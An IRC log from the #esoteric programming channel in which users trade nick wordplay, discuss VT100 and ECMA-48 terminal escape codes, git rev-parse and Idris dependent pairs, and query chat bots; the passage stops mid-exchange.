1394751884 170797 :b_jonas!~x@russell2.math.bme.hu QUIT :Ping timeout: 246 seconds < 1394751914 370138 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :(also, having two friends move from Québec City over to Montréal) < 1394751931 828934 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :wait, is this due to lack of free time, or draconian work policies? < 1394751957 627920 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :complete lack of free time. besides, the new job is fun, challenging and interesting. < 1394751975 426935 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :YOU ARE MAKING NO SENSE HTH < 1394752041 102721 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1394752066 556083 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :quith the vravn < 1394752154 565203 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1394752220 918371 :nooodl!~nooodl@91.177.69.110 QUIT :Quit: Ik ga weg < 1394752317 205685 :metasepia!~metasepia@96.127.201.149 QUIT :Remote host closed the connection < 1394752317 423136 :boily!~boily@96.127.201.149 QUIT :Read error: Connection reset by peer < 1394752361 973294 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1394752386 237282 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :as I was saying before I realized I was horrendously lagging... < 1394752396 547525 :boily!~boily@96.127.201.149 PRIVMSG #esoteric : YOU ARE MAKING NO SENSE HTH ← I KNOW TWNH < 1394752407 785519 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :`rot13 vravn < 1394752408 425800 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :ienia < 1394752436 335407 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :vravn: YOU ARE REVEALED < 1394752441 185708 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :no wtf is ienia < 1394752443 693102 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*now < 1394752466 988176 :metasepia!~metasepia@96.127.201.149 JOIN :#esoteric < 1394752475 428312 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :~duck ienia < 1394752477 447302 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :--- No relevant information < 1394752482 509037 :Froox!~Frooxius@cust-101.ktknet.cz JOIN :#esoteric < 1394752487 328322 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :~duck vravn < 1394752488 294931 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :--- No relevant information < 1394752498 692606 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ominous < 1394752511 583044 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :clearly someone is hiding something here < 1394752525 182875 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ienia ienia cthulhu fhtagn? < 1394752538 265814 :jix!~jix@jixco.de QUIT :Ping timeout: 240 seconds < 1394752568 714617 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :`rot13 oerjan < 1394752569 251941 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :brewna < 1394752636 797714 :jix!~jix@jixco.de JOIN :#esoteric < 1394752705 263144 :Frooxius!~Frooxius@cust-101.ktknet.cz QUIT :Ping timeout: 240 seconds < 1394752714 543330 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ok i admit i'm brewing on something. or trying to, anyway. < 1394752756 750095 :CADD_!uid21876@gateway/web/irccloud.com/x-edgrwodqtazhffel NICK :CADD < 1394752765 224442 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Hmmmm < 1394752782 564586 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Anyone here built a physical approximation to a Turing machine < 1394752792 299738 :CADD!uid21876@gateway/web/irccloud.com/x-edgrwodqtazhffel NICK :Guest95255 < 1394752795 556281 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :And willing to share advice for someone wanting to do it?> < 1394752824 79072 :x^2!~x^2@147.4.174.98 QUIT :Ping timeout: 255 seconds < 1394752886 930803 :x^2!~x^2@147.4.174.98 JOIN :#esoteric < 1394752983 800654 :x^2!~x^2@147.4.174.98 QUIT :Client Quit < 1394753104 162484 :Slereahphone!~slereahph@80.10.159.144 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394753403 50688 :Guest95255!uid21876@gateway/web/irccloud.com/x-edgrwodqtazhffel NICK :CADD_ < 1394753539 48269 :Sellyme!~Sellyme@2605:4d00:0:2::7a QUIT :Excess Flood < 1394753603 206854 :b_jonas!~x@russell2.math.bme.hu JOIN :#esoteric < 1394753664 980124 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk JOIN :#esoteric < 1394753761 434169 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1394754069 310780 :jix_!~jix@jixco.de JOIN :#esoteric < 1394754198 432193 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk QUIT :Excess Flood < 1394754294 735063 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1394754309 79268 :ion!ion@heh.fi PRIVMSG #esoteric :http://i.imgur.com/ruxIrOf.jpg < 1394754337 658384 :jix!~jix@jixco.de QUIT :Write error: Broken pipe < 1394754412 444204 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :ion, have you ever made an approximate Turing machine? < 1394754433 415438 :jix_!~jix@jixco.de QUIT :Ping timeout: 240 seconds < 1394754485 297281 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fungot, have you ever made an approximate Turing machine? < 1394754485 418622 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :oerjan: a little too much to heart, really... i almost just got killed here, as instructed the orcs and told me what needed. is that true, vaarsuvius, you don't understand, i just need to keep that a secret! < 1394754499 448714 :jix!~jix@jixco.de JOIN :#esoteric < 1394754539 749539 :ion!ion@heh.fi PRIVMSG #esoteric :taneb: No. Also what fungot said. < 1394754539 804629 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :ion: wow, that is such a stupid magic item that can allow any bandit that defeated < 1394754614 359544 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Some of my friends at uni and I are going to try < 1394754627 736680 :ion!ion@heh.fi PRIVMSG #esoteric :neat < 1394754764 288193 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Anyway I'm going to sleep now < 1394755109 125528 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1394755244 787386 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1394756017 837356 :glogbackup!~glogbacku@192.3.160.190 QUIT :Remote host closed the connection < 1394756190 521457 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION subtly pokes quintopia < 1394756380 296743 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1394756396 995855 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :Taneb, i know a guy who says he made one out of lego < 1394756563 287127 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1394756670 864355 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :ion: Dreamweaver does that with .cs files < 1394756743 525559 :tromp_!~tromp@69.112.162.42 JOIN :#esoteric < 1394756757 13281 :tromp__!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394756761 245454 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Ping timeout: 240 seconds < 1394756929 337217 :tromp_!~tromp@69.112.162.42 QUIT :Ping timeout: 240 seconds < 1394757276 930703 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hap-pi day < 1394757937 528835 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :joyeux a-pi-versaire! < 1394758179 300291 :b_jonas!~x@russell2.math.bme.hu QUIT :Ping timeout: 240 seconds < 1394758179 515672 :CADD_!uid21876@gateway/web/irccloud.com/x-edgrwodqtazhffel QUIT :Ping timeout: 240 seconds < 1394758202 22220 :myname!~myname@84.200.43.57 QUIT :Ping timeout: 240 seconds < 1394758209 304639 :myname!~myname@84.200.43.57 JOIN :#esoteric < 1394758272 281062 :b_jonas!~x@russell2.math.bme.hu JOIN :#esoteric < 1394758302 189256 :Guest95255!uid21876@gateway/web/irccloud.com/x-rwmurrkabstqhkqf JOIN :#esoteric < 1394758585 251376 :Guest95255!uid21876@gateway/web/irccloud.com/x-rwmurrkabstqhkqf QUIT :Ping timeout: 240 seconds < 1394758710 72822 :Guest95255!uid21876@gateway/web/irccloud.com/x-jiaehmudzxxzlwbf JOIN :#esoteric < 1394758926 648666 :FireFly!~firefly@oftn/member/FireFly QUIT :Excess Flood < 1394758948 949245 :Effilry!~firefly@oftn/member/FireFly JOIN :#esoteric < 1394759044 103772 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Quit: Leaving < 1394759263 337155 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 264 seconds < 1394759329 257338 :lifthrasiir!~lifthrasi@115.68.131.49 QUIT :Ping timeout: 240 seconds < 1394759656 976999 :augur_!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1394759659 341424 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1394759857 183386 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Ping timeout: 240 seconds < 1394759947 97556 :lifthrasiir!~lifthrasi@115.68.131.49 JOIN :#esoteric < 1394760001 340579 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION staws Effilry -#--##-- < 1394760033 46369 :tertu_!~quassel@143.44.65.14 JOIN :#esoteric < 1394760038 883463 :luserdroog!636c1b05@gateway/web/freenode/ip.99.108.27.5 JOIN :#esoteric < 1394760048 719616 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 240 seconds < 1394760502 9844 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1394760708 61462 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :oerjan: staws? is that like a Norwegian Mapole? < 1394760805 644774 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :no, that would be stav < 1394760845 705074 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION is confused < 1394760883 605550 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :what sort of bizarre rettaws is that < 1394760917 470052 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :https://en.wiktionary.org/wiki/stav#Swedish in lack of a norwegian version < 1394760946 921878 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :you might note that Effilry is isomorphic to FireFly hth < 1394761009 389256 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1394761169 413197 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION is suddenlilluminated < 1394761190 724393 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :(or is it suddenlightened?) < 1394761207 965741 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :shachaf: thachaf. < 1394761226 745700 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :oerjan: i didn't look at it long enough to see that it wasn't just reversed < 1394761248 217189 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :it would only have taken one letter to see that < 1394761263 410145 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :almost any letter would have worked < 1394761280 862089 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :but still. it's a very weird rettaws, much like a klingon weapon. < 1394761297 209300 :boily!~boily@96.127.201.149 QUIT :Quit: ISOMORPHIC NICHECK < 1394761301 796135 :metasepia!~metasepia@96.127.201.149 QUIT :Remote host closed the connection < 1394762215 316578 :itsy!~digital_w@37.152.198.84 QUIT :Ping timeout: 264 seconds < 1394762217 339681 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Quit: Leaving < 1394762620 136338 :Froox!~Frooxius@cust-101.ktknet.cz QUIT :Read error: Connection reset by peer < 1394762731 357682 :Frooxius!~Frooxius@cust-101.ktknet.cz JOIN :#esoteric < 1394762991 699075 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: Hmm < 1394763260 191586 :Sorella_!~queen@201.80.214.167 NICK :Sorella < 1394763838 838170 :luserdroog!636c1b05@gateway/web/freenode/ip.99.108.27.5 QUIT :Ping timeout: 245 seconds < 1394763871 698915 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i wonder if there are compilers that will take state machine code like while(1) { switch (state) { ... } } and allocate 'state' in the instruction pointer register, so to speak < 1394763897 967364 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :that is, turn the assignments to 'state' into jumps < 1394764103 278792 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394764303 338848 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394764303 543834 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394765114 947981 :evalj!~jeval@51B6E3DC.dsl.pool.telekom.hu QUIT :Remote host closed the connection < 1394765467 180553 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :print!(" \x1b[36m{:s}\x1b[0m='\x1b[34m{:s}\x1b[0m'", attr.name, attr.value); < 1394765524 841056 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :there are a lot of different languages packed into that one line of code < 1394765911 107490 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :today i tried to invoke a shell on windows through matlab and i think it gave me VT100 control codes < 1394765914 583421 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :a disheartening experience < 1394765924 112218 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :that looked a lot like that string >_> < 1394765937 735859 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yes < 1394765944 34096 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :those are VT100 control codes, or ECMA-48 codes anyway < 1394765952 451675 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I don't remember if the actual VT100 had color, probably not < 1394765977 399167 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :oh. lol i was just shallowly seeing unclosed square brackets < 1394766003 389787 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it's a good tip-off < 1394766063 539915 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :ECMA-48 apparently predates the VT100. < 1394766072 271853 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but not the latest edition, which is from 1991 < 1394766091 820655 :luserdroog!636c1b05@gateway/web/freenode/ip.99.108.27.5 JOIN :#esoteric < 1394766106 192583 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Ah sweet, I found the VT100 manual. < 1394766106 618304 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :god bless you ECMA, for making your standards free online and not trying to wring me for every last CHF like those ISO bastards < 1394766117 255724 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :SIPB owns an actual VT100, or is it a VT220 < 1394766128 989872 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :they had it hooked up to a Raspberry Pi, which fit easily within the case < 1394766130 245848 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it was cute < 1394766157 327078 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Bike: the two-byte sequenc \x1b [ (i.e. ESCAPE [, i.e. ^[ [) is the Control Sequence Introducer, which begins many of the most important commands < 1394766167 279857 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :ohhh < 1394766173 374181 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i think it printed as like... ~V[ or something < 1394766209 339363 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :It seems that it did not *support* color, but the VT100 ignores unknown character attributes. < 1394766215 757533 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :in the end i figured out i could in fact invoke programs directly and just did that and everything went away. huzzah. < 1394766226 640416 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :or rather, it's the 7-bit ASCII representation of CSI. you can also use the character 'CONTROL SEQUENCE INTRODUCER' (U+009B) from the ISO 2022's C1 control code section < 1394766231 136748 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but mostly people don't < 1394766238 984098 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :So on a VT100 you don't get color *display*, but the color codes work just fine. < 1394766242 864918 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :(i.e. "do nothing") < 1394766264 426951 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :presumably on a UTF-8 terminal you would have to write 0xC2 0x9B anyway... < 1394766351 669190 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Thankfully all the character attributes are parameters to \ < 1394766363 29946 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :the "m" sequence. < 1394766378 375920 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Which means that it's actually quite simple for a terminal to no-op support the colors. < 1394766385 985801 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :And apparently the VT100 did just that. < 1394766386 234928 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :oh as long as i'm complaining i found out that cmd.exe is pretty much terrible < 1394766388 437976 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Which is awesome. < 1394766403 578978 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Bike: yes. you want a better shell (like MSYS bash) and a better terminal emulator (like Mintty) < 1394766418 533648 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i invoked a program by quoting the path and it reported the program as having the quote character in it < 1394766445 425417 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :bash i have, but not a better tty. hoooopefully i won't be using shell enough to want that, but < 1394766447 49995 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :pikhq: I think it's odd that the character telling you what the command is comes at the end, but I suppose it makes sense in an implementation where you're storing to registers as arguments come in, and then you execute < 1394766453 112840 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :which might be how the hardware worked < 1394766456 363353 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Probably. < 1394766471 491207 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :of course, msys doesn't have man pages :( oh well < 1394766549 713611 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :also: does anyone know what the hell git rev-parse is < 1394766608 571854 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :"A similar notation r1...r2 is called symmetric difference of r1 and r2 and is defined as r1 r2 --not $(git merge-base --all r1 r2). " pretty sure i'm out of my league here < 1394766647 824619 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :"Note that .. would mean HEAD..HEAD which is an empty range that is both reachable and unreachable from HEAD." < 1394766649 715291 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Bike: it describes the syntax you can use to name git objects, mainly commits < 1394766675 907161 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the actual rev-parse command is meant for use from scripts < 1394766686 58999 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but many of the user-facing commands accept the same syntax < 1394766693 769831 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :getting the last commit object was both easier (since it's just "git rev-parse HEAD") and harder (since i have no idea wtf) than i thought it would be < 1394766697 58340 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :(because they are shell scripts that invoke rev-parse, or they used to be) < 1394766838 863080 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :maybe someday i will have a job where i have to learn git because everyone else uses it instead of just me < 1394768917 804367 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1394769171 201880 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1394769419 362647 :Sorella!~queen@201.80.214.167 QUIT :Quit: It is tiem! < 1394769537 111961 :tertu_!~quassel@143.44.65.14 QUIT :Ping timeout: 255 seconds < 1394769562 197701 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1394769649 247009 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Ping timeout: 240 seconds < 1394769660 385109 :password2!~password@197.78.153.55 JOIN :#esoteric < 1394769929 361355 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1394770282 377247 :tromp__!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394770316 299972 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394770374 90405 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 255 seconds < 1394770532 373689 :tromp__!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394770546 104196 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1394770550 200881 :tromp__!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394770862 70972 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394771260 185210 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1394771287 371435 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 264 seconds < 1394771440 722634 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1394771967 46331 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 255 seconds < 1394772507 32223 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 255 seconds < 1394772568 979082 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1394775033 59084 :limitless23!~limitless@72.11.34.197 JOIN :#esoteric < 1394775075 774836 :limitless23!~limitless@72.11.34.197 QUIT :Client Quit < 1394775109 50121 :limitless23!~limitless@72.11.34.197 JOIN :#esoteric < 1394775137 945274 :limitless23!~limitless@72.11.34.197 PRIVMSG #esoteric :hello < 1394775330 939352 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :`relcome limitless23 < 1394775332 111401 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​09limitless23: 02Welcome 06to 13the 04international 07hub 08for 09esoteric 02programming 06language 13design 04and 07deployment! 08For 09more 02information, 06check 13out 04our 07wiki: 08. 09(For 02the 06other 13kind 04of 07esoterica, 08try 09#esoteric 02on 06irc.dal.net.) < 1394775337 225374 :password2!~password@197.78.153.55 QUIT :Ping timeout: 240 seconds < 1394776569 995197 :oklopol!~oklopol@dyn60-339.yok.fi JOIN :#esoteric < 1394776956 54436 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> let welcome = "Hi" in welcome < 1394776956 165105 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04"Hi" : 12String < 1394776957 388441 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : "Hi" < 1394776983 719822 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I'm sure there's some way to make idris-ircslave be more colorful < 1394777039 638495 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> the (t : Type ** t) (String ** "Hello") < 1394777039 748941 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04(12String 04** 04"Hello"04) : 12(13t 12** 13t12) < 1394777041 189314 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `the'Not in scope: data constructor `Type'Not in scope: data c... < 1394777242 795573 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> the (t1 ** t1) ((t3 ** t3) ** (the (t2 ** t2) (String ** "Hello"))) < 1394777243 17450 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04(12(13t3 12** 13t312) 04** 04(12String 04** 04"Hello"04)04) : 12(13t1 12** 13t112) < 1394777244 578580 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `the'Not in scope: `t1' < 1394777244 800202 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Perhaps you meant one of these: < 1394777244 855024 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `t' (imported from Debug.SimpleReflect), < 1394777244 855215 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `to' (imported from Control.Lens), < 1394777244 855307 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `_1' (imported from Control.Lens)Not in scope: `t1' < 1394777293 177434 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I really like that both bots respond < 1394777307 516596 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :also I wish lambdabot would come back to ##crypto < 1394777338 657879 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I can add a spalsh of green < 1394777340 434999 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :t the (t1 ** t1) ((t3 ** t3) ** (the (t2 ** t2) (String ** "Hello"))) < 1394777340 768103 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :09the 12(13t1 12** 13t112) 04(12(13t3 12** 13t312) 04** 09the 12(13t2 12** 13t212) 04(12String 04** 04"Hello"04)04) : 12(13t1 12** 13t112) < 1394777342 101376 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1394777377 364456 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Melvar: What colors am I missing? < 1394777409 167835 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :is ** a tuple constructor? < 1394777416 589485 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :It's a dependent pair constructor < 1394777426 949554 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Well, not an actual constructor, it's syntax sugar < 1394777436 528437 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :t Exists < 1394777436 638436 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :12Exists : (13a : 12Type) -> (13a -> 12Type) -> 12Type < 1394777437 527927 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1394777442 404489 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :t Ex_intro < 1394777443 351680 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1394777443 682378 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :04Ex_intro : (13x : 13a) -> (13P 13x) -> 12Exists 13a 13P < 1394777470 244586 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :The typical example is < 1394777509 814463 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> the (n : Nat ** Vect n String) (5, ["a", "b", "c", "d", "e"]) < 1394777509 924940 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :Can't unify < 1394777510 35693 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : 12(13A12, 13B12) < 1394777510 90371 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :with < 1394777510 90507 